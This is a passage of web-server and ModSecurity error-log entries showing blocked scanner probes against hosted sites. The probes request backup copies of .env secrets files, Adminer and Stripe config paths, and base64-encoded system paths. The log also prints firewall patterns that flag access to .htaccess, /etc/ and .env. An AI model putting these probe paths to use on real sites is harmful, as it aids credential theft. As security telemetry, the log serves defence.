18:21:25.281168 2026] [access_compat:error] [pid 646876:tid 646922] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ0 [Sat Jun 13 18:21:25.281597 2026] [access_compat:error] [pid 646876:tid 646922] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ0 [Sat Jun 13 18:21:25.285615 2026] [security2:error] [pid 646876:tid 647008] [client 208.84.100.108:44348] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/.env.production.copy"] [unique_id "ai30BdyTkdrNlD40tSHGtwAAAAA"] [Sat Jun 13 18:21:25.289482 2026] [access_compat:error] [pid 715691:tid 715716] [remote 57.141.14.40:32374] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:25.289944 2026] [access_compat:error] [pid 715691:tid 715716] [remote 57.141.14.40:32374] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:25.714887 2026] [access_compat:error] [pid 715691:tid 715747] [remote 74.7.227.22:46038] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNzQxL25ldA== [Sat Jun 13 18:21:25.715347 2026] [access_compat:error] [pid 715691:tid 715747] [remote 74.7.227.22:46038] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNzQxL25ldA== [Sat Jun 13 18:21:25.716891 2026] [access_compat:error] [pid 646876:tid 646962] [remote 57.141.14.26:32920] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:25.717153 2026] [access_compat:error] [pid 646876:tid 646962] [remote 57.141.14.26:32920] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:25.835132 2026] [access_compat:error] [pid 646876:tid 646902] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:21:25.835410 2026] [access_compat:error] [pid 646876:tid 646902] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:21:25.844288 2026] [security2:error] [pid 648189:tid 648250] [remote 17.241.219.152:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 152.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30BVWSojQL4F7upKCMsAAA9x0"] [Sat Jun 13 18:21:26.051546 2026] [security2:error] [pid 646876:tid 647023] [client 185.177.72.9:46466] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config/stripe.php"] [unique_id "ai30BtyTkdrNlD40tSHGzwAAAA8"] [Sat Jun 13 18:21:26.100423 2026] [access_compat:error] [pid 715691:tid 715753] [remote 57.141.14.24:48110] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:26.100827 2026] [access_compat:error] [pid 715691:tid 715753] [remote 57.141.14.24:48110] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:26.204078 2026] [security2:error] [pid 715691:tid 715754] [remote 74.7.227.22:46038] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai30BrV-dFiaX9AtWiQT9AABECw"], referer: https://mail.homs.co.ke/?action=adminer&p=L3Byb2MvNTMxNzQxL25ldA== [Sat Jun 13 18:21:26.254598 2026] [security2:error] [pid 646876:tid 646906] [remote 17.241.227.236:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 236.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30BtyTkdrNlD40tSHG1AAAIhs"] [Sat Jun 13 18:21:26.300690 2026] [access_compat:error] [pid 715691:tid 715758] [remote 57.141.14.16:30342] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:26.300967 2026] [access_compat:error] [pid 715691:tid 715758] [remote 57.141.14.16:30342] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:26.327953 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL21pY2UvcG93ZXI= [Sat Jun 13 18:21:26.328242 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL21pY2UvcG93ZXI= [Sat Jun 13 18:21:26.351001 2026] [access_compat:error] [pid 648189:tid 648339] [remote 57.141.14.80:58413] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:26.351436 2026] [access_compat:error] [pid 648189:tid 648339] [remote 57.141.14.80:58413] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:26.387919 2026] [security2:error] [pid 646876:tid 646932] [remote 17.22.253.234:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 234.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30BtyTkdrNlD40tSHG2wAAWTU"] [Sat Jun 13 18:21:26.449587 2026] [security2:error] [pid 646876:tid 647121] [client 208.84.100.108:45160] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/.env.production.swp"] [unique_id "ai30BtyTkdrNlD40tSHG3AAAAHE"] [Sat Jun 13 18:21:26.450543 2026] [security2:error] [pid 715691:tid 715961] [client 208.84.100.108:45176] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/.env.production.orig"] [unique_id "ai30BrV-dFiaX9AtWiQT-gAAAYI"] [Sat Jun 13 18:21:26.462837 2026] [security2:error] [pid 648189:tid 648424] [client 208.84.100.108:45150] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/.env.production~"] [unique_id "ai30BlWSojQL4F7upKCMuQAAAMs"] [Sat Jun 13 18:21:26.485646 2026] [security2:error] [pid 648189:tid 648472] [client 208.84.100.108:45056] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/.env.copy"] [unique_id "ai30BlWSojQL4F7upKCMugAAAPY"] [Sat Jun 13 18:21:26.486184 2026] [security2:error] [pid 648189:tid 648450] [client 208.84.100.108:45060] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/.env.local.old"] [unique_id "ai30BlWSojQL4F7upKCMuwAAAOQ"] [Sat Jun 13 18:21:26.486275 2026] [security2:error] [pid 648189:tid 648412] [client 208.84.100.108:45088] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/.env.local~"] [unique_id "ai30BlWSojQL4F7upKCMvgAAAL8"] [Sat Jun 13 18:21:26.486281 2026] [security2:error] [pid 648189:tid 648433] [client 208.84.100.108:45128] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/.env.production.old"] [unique_id "ai30BlWSojQL4F7upKCMvAAAANQ"] [Sat Jun 13 18:21:26.486506 2026] [security2:error] [pid 715691:tid 715845] [client 208.84.100.108:45058] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/.env.local.bak"] [unique_id "ai30BrV-dFiaX9AtWiQT_AAAAQ4"] [Sat Jun 13 18:21:26.486533 2026] [security2:error] [pid 648189:tid 648478] [client 208.84.100.108:45110] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/.env.local.orig"] [unique_id "ai30BlWSojQL4F7upKCMvQAAAPw"] [Sat Jun 13 18:21:26.487096 2026] [security2:error] [pid 715691:tid 715843] [client 208.84.100.108:45076] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/.env.local.backup"] [unique_id "ai30BrV-dFiaX9AtWiQT_QAAAQw"] [Sat Jun 13 18:21:26.487695 2026] [security2:error] [pid 715691:tid 715841] [client 208.84.100.108:45096] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/.env.local.swp"] [unique_id "ai30BrV-dFiaX9AtWiQT_gAAAQo"] [Sat Jun 13 18:21:26.488304 2026] [security2:error] [pid 715691:tid 715966] [client 208.84.100.108:45022] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/.env~"] [unique_id "ai30BrV-dFiaX9AtWiQUAgAAAYc"] [Sat Jun 13 18:21:26.489345 2026] [security2:error] [pid 715691:tid 715968] [client 208.84.100.108:45138] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/.env.production.backup"] [unique_id "ai30BrV-dFiaX9AtWiQUAAAAAYk"] [Sat Jun 13 18:21:26.520036 2026] [security2:error] [pid 715691:tid 715844] [client 208.84.100.108:45178] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/.env.production.bak"] [unique_id "ai30BrV-dFiaX9AtWiQUBgAAAQ0"] [Sat Jun 13 18:21:26.520157 2026] [security2:error] [pid 648189:tid 648363] [client 208.84.100.108:45038] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/.env.orig"] [unique_id "ai30BlWSojQL4F7upKCMwgAAAI8"] [Sat Jun 13 18:21:26.525255 2026] [security2:error] [pid 715691:tid 715846] [client 208.84.100.108:45034] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/.env.swp"] [unique_id "ai30BrV-dFiaX9AtWiQUBwAAAQ8"] [Sat Jun 13 18:21:26.525526 2026] [security2:error] [pid 648189:tid 648462] [client 208.84.100.108:45120] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/.env.local.copy"] [unique_id "ai30BlWSojQL4F7upKCMwwAAAOw"] [Sat Jun 13 18:21:26.605669 2026] [access_compat:error] [pid 646876:tid 646983] [remote 57.141.14.105:32238] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:26.605952 2026] [access_compat:error] [pid 646876:tid 646983] [remote 57.141.14.105:32238] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:26.875308 2026] [access_compat:error] [pid 646876:tid 646940] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDcvcG93ZXI= [Sat Jun 13 18:21:26.875771 2026] [access_compat:error] [pid 646876:tid 646940] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDcvcG93ZXI= [Sat Jun 13 18:21:27.108989 2026] [security2:error] [pid 646876:tid 646895] [remote 17.246.15.156:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 156.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30B9yTkdrNlD40tSHG7QAAbxA"] [Sat Jun 13 18:21:27.269542 2026] [access_compat:error] [pid 648189:tid 648327] [remote 57.141.14.111:50272] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:27.269850 2026] [access_compat:error] [pid 648189:tid 648327] [remote 57.141.14.111:50272] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:27.277529 2026] [security2:error] [pid 648189:tid 648301] [remote 17.22.237.12:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 12.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30B1WSojQL4F7upKCMxQAAmU8"] [Sat Jun 13 18:21:27.352898 2026] [security2:error] [pid 715691:tid 715895] [client 185.177.72.9:46478] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/stripe/.env"] [unique_id "ai30B7V-dFiaX9AtWiQUFgAAAUA"] [Sat Jun 13 18:21:27.370819 2026] [access_compat:error] [pid 646876:tid 646977] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 